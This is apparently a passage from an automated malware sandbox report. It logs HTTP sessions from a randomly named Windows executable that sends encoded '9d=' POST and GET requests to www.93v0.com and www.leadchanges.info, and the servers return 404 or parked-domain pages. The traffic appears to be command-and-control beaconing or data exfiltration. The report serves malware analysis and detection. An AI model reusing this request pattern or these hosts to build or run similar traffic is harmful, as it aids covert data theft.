                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                40192.168.2.74975018.178.206.118804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:58.585136890 CEST1723OUTPOST /hcaw/ HTTP/1.1
                                Host: www.93v0.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.93v0.com
                                Referer: http://www.93v0.com/hcaw/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 61 59 52 66 69 5a 70 71 69 6e 6b 42 78 50 52 44 59 4f 59 74 6b 68 52 32 39 4c 53 67 43 48 4a 42 2f 56 53 67 4b 4f 42 55 41 32 73 59 74 37 71 43 68 5a 6d 6d 59 30 68 5a 6a 47 6c 47 42 59 6e 69 31 50 44 49 76 59 6a 54 51 51 78 64 30 48 33 68 79 30 37 58 75 48 6d 77 6c 38 73 39 74 79 4b 46 7a 4e 48 62 39 5a 2f 73 74 4a 6c 74 37 74 34 33 58 44 2f 6b 76 6a 55 36 5a 2b 2b 5a 6f 61 58 32 4f 56 6b 53 65 4a 69 7a 71 56 58 47 66 6a 45 37 5a 4e 6d 51 49 7a 4f 56 6b 58 79 50 41 52 37 50 6c 46 2f 41 6e 74 57 6c 41 42 41 59 4d 36 43 35 33 51 7a 49 6a 4e 41 57 73 67 4a 43 50 62 32 59 76 38 34 31 62 72 2f 6a 77 2b 69 56 73 62 77 4f 61 33 4d 52 36 73 53 5a 63 52 6f 39 6f 49 64 4e 6e 69 2b 53 69 63 6c 67 68 71 6e 48 69 33 4e 69 62 67 56 66 6e 71 30 4d 50 43 61 4d 4c 68 51 38 54 30 50 6a 77 67 75 5a 56 70 71 35 72 71 76 30 34 5a 32 56 78 69 32 5a 4e 51 55 35 4d 50 6e 6f 70 62 6a 73 79 77 37 61 46 66 33 49 71 7a 6f 31 48 47 75 65 4a 6c 36 55 55 73 58 4d 6c 6f 64 66 7a 63 6a 4f 51 4c 48 4f 34 4a 73 46 6c 6a 78 [TRUNCATED]
                                Data Ascii: 9d=aYRfiZpqinkBxPRDYOYtkhR29LSgCHJB/VSgKOBUA2sYt7qChZmmY0hZjGlGBYni1PDIvYjTQQxd0H3hy07XuHmwl8s9tyKFzNHb9Z/stJlt7t43XD/kvjU6Z++ZoaX2OVkSeJizqVXGfjE7ZNmQIzOVkXyPAR7PlF/AntWlABAYM6C53QzIjNAWsgJCPb2Yv841br/jw+iVsbwOa3MR6sSZcRo9oIdNni+SiclghqnHi3NibgVfnq0MPCaMLhQ8T0PjwguZVpq5rqv04Z2Vxi2ZNQU5MPnopbjsyw7aFf3Iqzo1HGueJl6UUsXMlodfzcjOQLHO4JsFljx230GuGI1Lh+bIiOi1DfmXuegr2Tx47scP7A15Naw6evioe3zKduPsYP6k2jvdzkND3rtDuF+9BbCxqJHc914cmqF0NRsAMvb/Hdvkiu9AVmvFPuDj5Bwj2D9zK5dSjhHFouEltHlpEQGrR2wM4rdS1J1e+hOfCVhEEwtPkGw/WZsGVc8gF+OpBlUDRtuyEYcunQOnAiEuNBKUPMOinZ9xon0PT9UKKYDqOrrSqSQNM/p1cg9/IJudY8rW6SCabLMew0NmVihBayqdPxDaxTJ1ytkfB2xQyFPJqxJ++PeuAVjGYUWdVw6/T6hccKqfhP3KJfKOm/mg0w8LT5Dj4H9c3E8+Ue2yg83pSrJ4V8BrdHFrDeJTgbku46EmjfySzmwsj/tnnTtV+sVD6Gjbn9D++SE7uN/FnqsgzbBJ2H6eciWoJOAN9pf0KgBH1FJ9B9Qntx8UJsVwZEz+Dx3bEJPnihpzQ06uVTllTCWZvIOBuEfqVEtm7aDKh0LAaZe+R5e0i9EQsR63/zOGeclCdZy4L5nSM+Z692jnZIOJidOsL1FFYDBWuyjZg8hnS+WHHzuxGMtlxAlIlAWGgugTugczVoRKU5BelmHmo+P0TuNfnKBLnLXM9Kp/RzmrW0TE/vjrAzm9m9V8SD0Qja3Pz1DLtnBI2F8nUNxUx [TRUNCATED]
                                Jun 5, 2024 18:29:59.592618942 CEST367INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:29:59 GMT
                                Server: Apache
                                Content-Length: 203
                                Connection: close
                                Content-Type: text/html; charset=iso-8859-1
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                41192.168.2.74975118.178.206.118804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:30:01.133013010 CEST443OUTGET /hcaw/?9d=Xa5/huFy8Eck4v8ee+xdjh1i7ba8Clp/lHr4KuxbDQUg1IaZpZOFGkNm4jxFFpbvuuzZpNiUUgQ/swG1ojXNpV/H8uI+lgidsfe724rSsodQ5uAfCV2elW9ENMTuv5SSVXQJAcj0qHHf&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.93v0.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:30:02.148477077 CEST367INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:30:02 GMT
                                Server: Apache
                                Content-Length: 203
                                Connection: close
                                Content-Type: text/html; charset=iso-8859-1
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                42192.168.2.74975266.96.162.149804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:30:07.697262049 CEST714OUTPOST /mjuo/ HTTP/1.1
                                Host: www.leadchanges.info
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.leadchanges.info
                                Referer: http://www.leadchanges.info/mjuo/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 4c 57 69 62 72 6a 6f 48 56 6b 74 36 72 6c 54 61 72 49 45 49 75 2f 71 7a 43 66 35 52 4f 67 54 44 61 64 35 65 4c 4c 48 4a 6f 33 65 4f 49 36 68 47 41 2b 6d 30 37 6f 48 53 2b 78 42 31 2f 73 77 70 7a 49 65 76 61 30 38 66 4b 41 42 74 47 72 63 66 33 2f 61 54 75 35 34 6c 47 39 57 35 6d 37 47 52 7a 38 44 4b 6d 57 6f 59 5a 4f 68 44 6a 46 37 2b 78 58 4a 37 5a 58 48 46 37 54 79 34 54 32 71 71 69 7a 6c 62 42 6e 4e 4d 4c 5a 53 75 39 48 50 52 57 67 47 70 6b 45 6e 73 49 45 61 65 6a 67 31 34 31 63 6b 41 54 44 64 6a 68 4d 75 63 4f 55 74 38 51 61 4d 31 72 65 62 56 51 38 67 64 46 39 37 65 41 4e 4d 51 52 6b 6a 59 62 79 30 7a 52 4e 64 5a 57 41 3d 3d
                                Data Ascii: 9d=LWibrjoHVkt6rlTarIEIu/qzCf5ROgTDad5eLLHJo3eOI6hGA+m07oHS+xB1/swpzIeva08fKABtGrcf3/aTu54lG9W5m7GRz8DKmWoYZOhDjF7+xXJ7ZXHF7Ty4T2qqizlbBnNMLZSu9HPRWgGpkEnsIEaejg141ckATDdjhMucOUt8QaM1rebVQ8gdF97eANMQRkjYby0zRNdZWA==
                                Jun 5, 2024 18:30:08.381361961 CEST1087INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:30:08 GMT
                                Content-Type: text/html
                                Content-Length: 867
                                Connection: close
                                Server: Apache
                                Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT
                                Accept-Ranges: bytes
                                Age: 0
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 [TRUNCATED]
                                Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                43192.168.2.74975366.96.162.149804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:30:10.239268064 CEST734OUTPOST /mjuo/ HTTP/1.1
                                Host: www.leadchanges.info
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.leadchanges.info
                                Referer: http://www.leadchanges.info/mjuo/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 4c 57 69 62 72 6a 6f 48 56 6b 74 36 35 30 6a 61 6e 4c 73 49 35 50 71 79 50 50 35 52 42 41 54 48 61 64 31 65 4c 4b 43 4d 76 43 75 4f 49 62 39 47 48 38 65 30 36 6f 48 53 31 52 42 77 78 4d 77 2b 7a 49 61 52 61 31 77 66 4b 41 56 74 47 76 51 66 33 4d 79 51 76 70 34 6a 4b 64 58 2f 34 4c 47 52 7a 38 44 4b 6d 57 4e 39 5a 4f 35 44 6a 56 4c 2b 6a 69 6b 74 61 58 48 43 79 7a 79 34 5a 57 71 75 69 7a 6c 6c 42 6a 74 32 4c 61 6d 75 39 46 58 52 57 78 47 32 72 45 6d 6e 4d 45 62 57 79 7a 6f 61 78 4f 59 64 55 77 78 69 6f 4f 65 50 4c 69 77 65 4b 34 41 5a 31 50 6a 75 55 2b 45 72 53 62 6d 72 43 4d 49 49 63 47 58 35 45 46 52 5a 63 66 38 64 41 7a 42 71 2b 39 74 57 4e 51 52 56 36 58 51 6d 52 56 5a 42 71 6b 49 3d
                                Data Ascii: 9d=LWibrjoHVkt650janLsI5PqyPP5RBATHad1eLKCMvCuOIb9GH8e06oHS1RBwxMw+zIaRa1wfKAVtGvQf3MyQvp4jKdX/4LGRz8DKmWN9ZO5DjVL+jiktaXHCyzy4ZWquizllBjt2Lamu9FXRWxG2rEmnMEbWyzoaxOYdUwxioOePLiweK4AZ1PjuU+ErSbmrCMIIcGX5EFRZcf8dAzBq+9tWNQRV6XQmRVZBqkI=
                                Jun 5, 2024 18:30:10.922113895 CEST1087INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:30:10 GMT
                                Content-Type: text/html
                                Content-Length: 867
                                Connection: close
                                Server: Apache
                                Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT
                                Accept-Ranges: bytes
                                Age: 0
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 [TRUNCATED]
                                Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                44192.168.2.74975466.96.162.149804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:30:12.771497965 CEST1747OUTPOST /mjuo/ HTTP/1.1
                                Host: www.leadchanges.info
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.leadchanges.info
                                Referer: http://www.leadchanges.info/mjuo/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 4c 57 69 62 72 6a 6f 48 56 6b 74 36 35 30 6a 61 6e 4c 73 49 35 50 71 79 50 50 35 52 42 41 54 48 61 64 31 65 4c 4b 43 4d 76 44 36 4f 49 70 31 47 48 64 65 30 35 6f 48 53 36 42 42 78 78 4d 77 6a 7a 49 69 4e 61 31 4d 50 4b 44 74 74 41 4b 4d 66 7a 4e 79 51 68 70 34 6a 43 39 57 34 6d 37 47 2b 7a 38 54 4f 6d 57 64 39 5a 4f 35 44 6a 57 54 2b 67 33 49 74 57 33 48 46 37 54 79 73 54 32 71 47 69 79 4d 64 42 6a 6f 4c 4c 4d 57 75 2b 6d 76 52 56 48 36 32 30 30 6d 6c 42 6b 61 51 79 7a 6b 73 78 4f 30 37 55 77 31 49 6f 4f 32 50 4c 54 5a 30 64 37 30 36 71 50 44 61 62 6f 67 7a 51 34 71 61 4b 66 4d 46 57 6d 4c 36 4a 47 67 68 55 64 51 78 4f 31 6f 51 69 76 38 67 45 7a 68 65 37 78 38 73 4b 33 42 2b 78 78 49 69 6c 48 34 35 2b 41 6d 44 6d 37 71 6e 30 56 44 6f 52 6e 58 4c 54 2f 43 68 52 34 76 74 47 4c 38 41 65 55 48 66 78 45 58 35 69 64 43 38 56 74 46 45 49 68 41 37 71 62 4a 45 45 46 42 53 6e 61 59 34 47 79 32 6d 63 36 62 59 4b 58 6c 45 36 43 46 77 36 74 61 4b 67 52 66 42 79 34 52 36 6b 30 68 67 43 55 42 33 4e 48 32 [TRUNCATED]
                                Data Ascii: 9d=LWibrjoHVkt650janLsI5PqyPP5RBATHad1eLKCMvD6OIp1GHde05oHS6BBxxMwjzIiNa1MPKDttAKMfzNyQhp4jC9W4m7G+z8TOmWd9ZO5DjWT+g3ItW3HF7TysT2qGiyMdBjoLLMWu+mvRVH6200mlBkaQyzksxO07Uw1IoO2PLTZ0d706qPDabogzQ4qaKfMFWmL6JGghUdQxO1oQiv8gEzhe7x8sK3B+xxIilH45+AmDm7qn0VDoRnXLT/ChR4vtGL8AeUHfxEX5idC8VtFEIhA7qbJEEFBSnaY4Gy2mc6bYKXlE6CFw6taKgRfBy4R6k0hgCUB3NH25tiJVBtoVKfLUR1JZORPho7Fu7NvRNHWEyorm5rQTFUkWlTbrQLaEDV/SsXoDO9VbxRHQuQLtJ9BLgkrTIiOczAjmBzpMrwViSH0ev6+xD79L7RH5eKyjmw4hKczWVWw/9MYk4QczfOQwxi30jFAJm9Up2Fy0/DhznKqS8uNKs1YoasFZ4o0rkyX/QV4FUbIRRXmVWm5A3doHx3Vixdb6rUcVzvXV0sZHWXPFLb/Q/iDMX/HEkPh6A9oiTw8dKXDS4fhFtFz7iG0J/lCOWpj7VLOR/ENQdMyRIav9SX71DF+kKGP5WW9AP5DJHhBbtu1j6669bw6tHENWKEnSkey94iPKPMBwyi2x7625LYSmJ7bTOjkxPOB94v2+pE9/TncmNcj60e/5im/s9WhQwP6omhJCNUyfN+QPOA2WvwkvcNDOCoAEBVUNy8NlPYxzIunZQdQORXNAnTNlU4KN3M4/FnHdsQ+yqkJvePDgeVK3C854P0aFHjJg1P+3QK6M0etJWl9KZuQwIWSEYUgiYdXQSGrFPYM4InD3GnfufSkqobIG1GpeFBNxuYz2nLs/bdOy05nNFdgRO/3f0jhAojVRtFROnj8AF2kIUeTIpbNw1/Rxqh1jacq9X8T5RwTzExjevJvBTEUahIma018lA6njZ7lkClVTTODKg [TRUNCATED]
                                Jun 5, 2024 18:30:13.450958014 CEST1087INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:30:13 GMT
                                Content-Type: text/html
                                Content-Length: 867
                                Connection: close
                                Server: Apache
                                Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT
                                Accept-Ranges: bytes
                                Age: 0
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 [TRUNCATED]
                                Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>


                                Session IDSource IPSource PortDestination IPDestination Port
                                45192.168.2.74975566.96.162.14980
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:30:16.925648928 CEST451OUTGET /mjuo/?9d=GUK7oVIRF3FAoVisjIpZqa7HO+54FDT9CfoAB53ViUuzbZ1TAtWa7LnCzENP06w/wd6reHxcMz42RIoq6sWsgYEYCrnoxIy0wOTor1QdDe9x8GrLmxcBWSK4ygqmUmz0vTBYLSkIKLnt&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.leadchanges.info
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:30:19.611146927 CEST1087INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:30:19 GMT
                                Content-Type: text/html
                                Content-Length: 867
                                Connection: close
                                Server: Apache
                                Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT
                                Accept-Ranges: bytes
                                Age: 2
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 [TRUNCATED]
                                Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>


                                Statistics

                                CPU Usage

                                Click to jump to process

                                Memory Usage

